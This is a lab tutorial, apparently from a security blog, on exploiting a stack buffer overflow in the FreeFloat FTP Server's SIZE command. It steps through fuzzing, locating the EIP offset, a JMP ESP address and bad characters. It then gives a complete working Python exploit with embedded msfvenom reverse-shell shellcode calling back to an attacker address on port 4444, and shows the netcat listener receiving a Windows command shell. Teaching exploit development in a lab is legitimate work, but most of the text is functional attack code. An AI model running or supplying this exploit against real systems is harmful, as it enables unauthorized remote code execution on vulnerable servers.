Windows Exploit Development Part 1: Buffer Overflow
Introduction
Today we will be exploiting a vanilla buffer overflow vulnerability in the FreeFloat FTP Server. This is a Windows 32-bit application that does not have SEH, DEP, or ASLR mitigations enabled.
Note that several exploits exist for this application and can be viewed on exploit-db. I have arbitrarily chosen to exploit the ‘SIZE’ function.
- Exploit Machine: Kali 2022
- Debugging Machine: Windows 10
- Vulnerable Software: Download here
General steps for exploiting a buffer overflow on Windows
- Fuzz the buffer with garbage data to trigger an overflow
- Find the offset to the EIP
- Overwrite EIP with a hardcoded stack address or jmp esp instruction
- Filter out bad characters
- Add NOP sled and shellcode
- Exploit and gain a shell
Crash the application
NOTE: Turn off the Windows firewall before proceeding - this will ensure that we can reach port 21.
Below is our initial proof of concept to see if we can connect and log into the vulnerable FTP server:
import socket
import sys
if len(sys.argv) != 2:
print("Usage: python3 <IP_ADDRESS>")
sys.exit(1)
IP = sys.argv[1]
PORT = 21
# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to FTP server
s.connect((IP, PORT))
# Login as anonymous user
data = s.recv(1024)
print(data)
s.send(b"USER anonymous\r\n")
data = s.recv(1024)
print(data)
s.send(b"PASS anonymous\r\n")
data = s.recv(1024)
print(data)
s.close()
And here is the output:
$ python3 poc.py 192.168.190.139
b'220 FreeFloat Ftp Server (Version 1.00).\r\n'
b'331 Password required for anonymous.\r\n'
b'230 User anonymous logged in.\r\n'
With that out of the way, attach WinDbg to the ftpserver.exe process running on the Windows VM. This allows us to debug it as we build our exploit.
It’s time to overflow the buffer. As stated earlier, we want to attack the ‘SIZE’ function. Let’s update our proof of concept to send a thousand A’s.
buf = b"A" * 1000
# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
# Overflow the EIP
s.send(b"SIZE " + buf + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
Run it and you should get an “Access violation” error in WinDbg.
Notice that EIP is overwritten with 0x41414141!
Find the offset for EIP
We need to determine exactly how many characters it takes to overwrite the EIP.
The msf-pattern_create
and msf-pattern_offset
commands are perfect for this.
Generate an ASCII pattern of 1000 characters.
$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Now replace our 1000 A’s with the output above.
Restart the FTP server and rerun the exploit. Observe the new access violation.
Use msf-pattern_offset to determine the offset.
$ msf-pattern_offset -l 1000 -q 41326941
[*] Exact match at offset 246
Overwrite EIP
We know that it takes 246 bytes to fill the buffer. The size of EIP is 4 bytes (since it is an x86 register). Let’s update the exploit to overwrite the EIP with B’s and add dummy shellcode.
buf = b"A" * 246
eip = b"B" * 4
shellcode = b"C" * (1000 - len(buf) - len(eip))
payload = buf + eip + shellcode
...
# Overflow the EIP
print("[+] sending payload of %d bytes" % len(payload))
s.send(b"SIZE " + payload + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
We still send a 1000 byte payload to guarantee the application crashes. We see that EIP has been overwritten with our B’s!
Display the data on the stack with dd esp
:
There’s our dummy shellcode!
Set the EIP register to point to ESP in WinDbg with r eip=esp
.
Now, we can single step into the shellcode (the 0x43’s) with the t
command.
0x43 translates to the inc ebx
instruction and we see register ebx’s value increasing.
The fact that we can execute arbitrary instructions is proof that DEP is not enabled.
Jmp to the Stack
In the previous example, we used WinDbg to manually set the EIP to point to ESP. We can do better.
Let’s use a JMP ESP instruction! Use msf-nasm_shell
to determine the opcode.
$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Opcode FFE4 is JMP ESP. We need to find a DLL/module with the ftpserver.exe process that contains this instruction.
View all loaded moduled in WinDbg with lm
. I chose the module dwmapi since it does not have
ASLR enabled.
Run lm m dwmapi
to get the start and end base addresses
Now, we need to search for the JMP ESP (0xFF 0xE4) instruction in that module. We can do
this natively in WinDbg with s -b 0x749a0000 0x749c6000 0xFF 0xE4
We get two results. Let’s use the first one at address 0x749c2f9b.
Test that the address is a JMP ESP instruction with u 749a0000 L1
Update the eip variable in our exploit:
eip = b"\x9b\x2f\x9c\x74" # JMP ESP - dwmapi.dll
Filter out bad chars
Before we generate shellcode, we should check for bad characters. Bad characters are bytes that the application cannot process and/or that will close our connection.
Common bad characters are the NULL byte ("\x00"), NEW LINE ("\x0a"), and CARRIAGE RETURN ("\x0d).
Below is a byte string you can use to test for bad characters:
badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
The bad chars for the target are “\x00\x0a\0d”. Check out this post for techniques on filtering for bad characters.
Create NOP sled and Shellcode
Create the shellcode with msfvenom.
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.190.137 LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode
I added 20 bytes of NOPs in front of the shellcode to account for the encoder that msfvenom uses.
Below is the full exploit:
import socket
import sys
if len(sys.argv) != 2:
print("Usage: python3 <IP_ADDRESS>")
sys.exit(1)
IP = sys.argv[1]
PORT = 21
buf = b"A" * 246
eip = b"\x9b\x2f\x9c\x74" # JMP ESP - dwmapi.dll
nops = b"\x90" * 20
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.190.137 LPORT=4444 -b "\x00\x0a\x0d" -f python -v shellcode
shellcode = b""
shellcode += b"\xda\xd0\xd9\x74\x24\xf4\xb8\x44\x37\x6c\x01"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x43\x17\x83\xeb\xfc"
shellcode += b"\x03\x07\x24\x8e\xf4\x7b\xa2\xcc\xf7\x83\x33"
shellcode += b"\xb1\x7e\x66\x02\xf1\xe5\xe3\x35\xc1\x6e\xa1"
shellcode += b"\xb9\xaa\x23\x51\x49\xde\xeb\x56\xfa\x55\xca"
shellcode += b"\x59\xfb\xc6\x2e\xf8\x7f\x15\x63\xda\xbe\xd6"
shellcode += b"\x76\x1b\x86\x0b\x7a\x49\x5f\x47\x29\x7d\xd4"
shellcode += b"\x1d\xf2\xf6\xa6\xb0\x72\xeb\x7f\xb2\x53\xba"
shellcode += b"\xf4\xed\x73\x3d\xd8\x85\x3d\x25\x3d\xa3\xf4"
shellcode += b"\xde\xf5\x5f\x07\x36\xc4\xa0\xa4\x77\xe8\x52"
shellcode += b"\xb4\xb0\xcf\x8c\xc3\xc8\x33\x30\xd4\x0f\x49"
shellcode += b"\xee\x51\x8b\xe9\x65\xc1\x77\x0b\xa9\x94\xfc"
shellcode += b"\x07\x06\xd2\x5a\x04\x99\x37\xd1\x30\x12\xb6"
shellcode += b"\x35\xb1\x60\x9d\x91\x99\x33\xbc\x80\x47\x95"
shellcode += b"\xc1\xd2\x27\x4a\x64\x99\xca\x9f\x15\xc0\x82"
shellcode += b"\x6c\x14\xfa\x52\xfb\x2f\x89\x60\xa4\x9b\x05"
shellcode += b"\xc9\x2d\x02\xd2\x2e\x04\xf2\x4c\xd1\xa7\x03"
shellcode += b"\x45\x16\xf3\x53\xfd\xbf\x7c\x38\xfd\x40\xa9"
shellcode += b"\xef\xad\xee\x02\x50\x1d\x4f\xf3\x38\x77\x40"
shellcode += b"\x2c\x58\x78\x8a\x45\xf3\x83\x5d\xaa\xac\x35"
shellcode += b"\x14\x42\xaf\x49\x36\xcf\x26\xaf\x52\xff\x6e"
shellcode += b"\x78\xcb\x66\x2b\xf2\x6a\x66\xe1\x7f\xac\xec"
shellcode += b"\x06\x80\x63\x05\x62\x92\x14\xe5\x39\xc8\xb3"
shellcode += b"\xfa\x97\x64\x5f\x68\x7c\x74\x16\x91\x2b\x23"
shellcode += b"\x7f\x67\x22\xa1\x6d\xde\x9c\xd7\x6f\x86\xe7"
shellcode += b"\x53\xb4\x7b\xe9\x5a\x39\xc7\xcd\x4c\x87\xc8"
shellcode += b"\x49\x38\x57\x9f\x07\x96\x11\x49\xe6\x40\xc8"
shellcode += b"\x26\xa0\x04\x8d\x04\x73\x52\x92\x40\x05\xba"
shellcode += b"\x23\x3d\x50\xc5\x8c\xa9\x54\xbe\xf0\x49\x9a"
shellcode += b"\x15\xb1\x7a\xd1\x37\x90\x12\xbc\xa2\xa0\x7e"
shellcode += b"\x3f\x19\xe6\x86\xbc\xab\x97\x7c\xdc\xde\x92"
shellcode += b"\x39\x5a\x33\xef\x52\x0f\x33\x5c\x52\x1a"
padding = b"C" * (1000 - len(buf) - len(eip) - len(nops) - len(shellcode))
payload = buf + eip + nops + shellcode + padding
# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Connect to FTP server
s.connect((IP, PORT))
# Login as anonymous user
s.recv(1024)
s.send(b"USER anonymous\r\n")
s.recv(1024)
s.send(b"PASS anonymous\r\n")
s.recv(1024)
# Overflow the EIP
print("[+] sending payload of %d bytes" % len(payload))
s.send(b"SIZE " + payload + b"\r\n")
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
Exploit and Profit!
Start a netcat listener on port 4444.
$ nc -nlvp 4444
Restart the FTP server and run our exploit to get a shell!
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.190.137] from (UNKNOWN) [192.168.190.139] 62863
Microsoft Windows [Version 10.0.17763.379]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop\Win32>
Thanks for reading!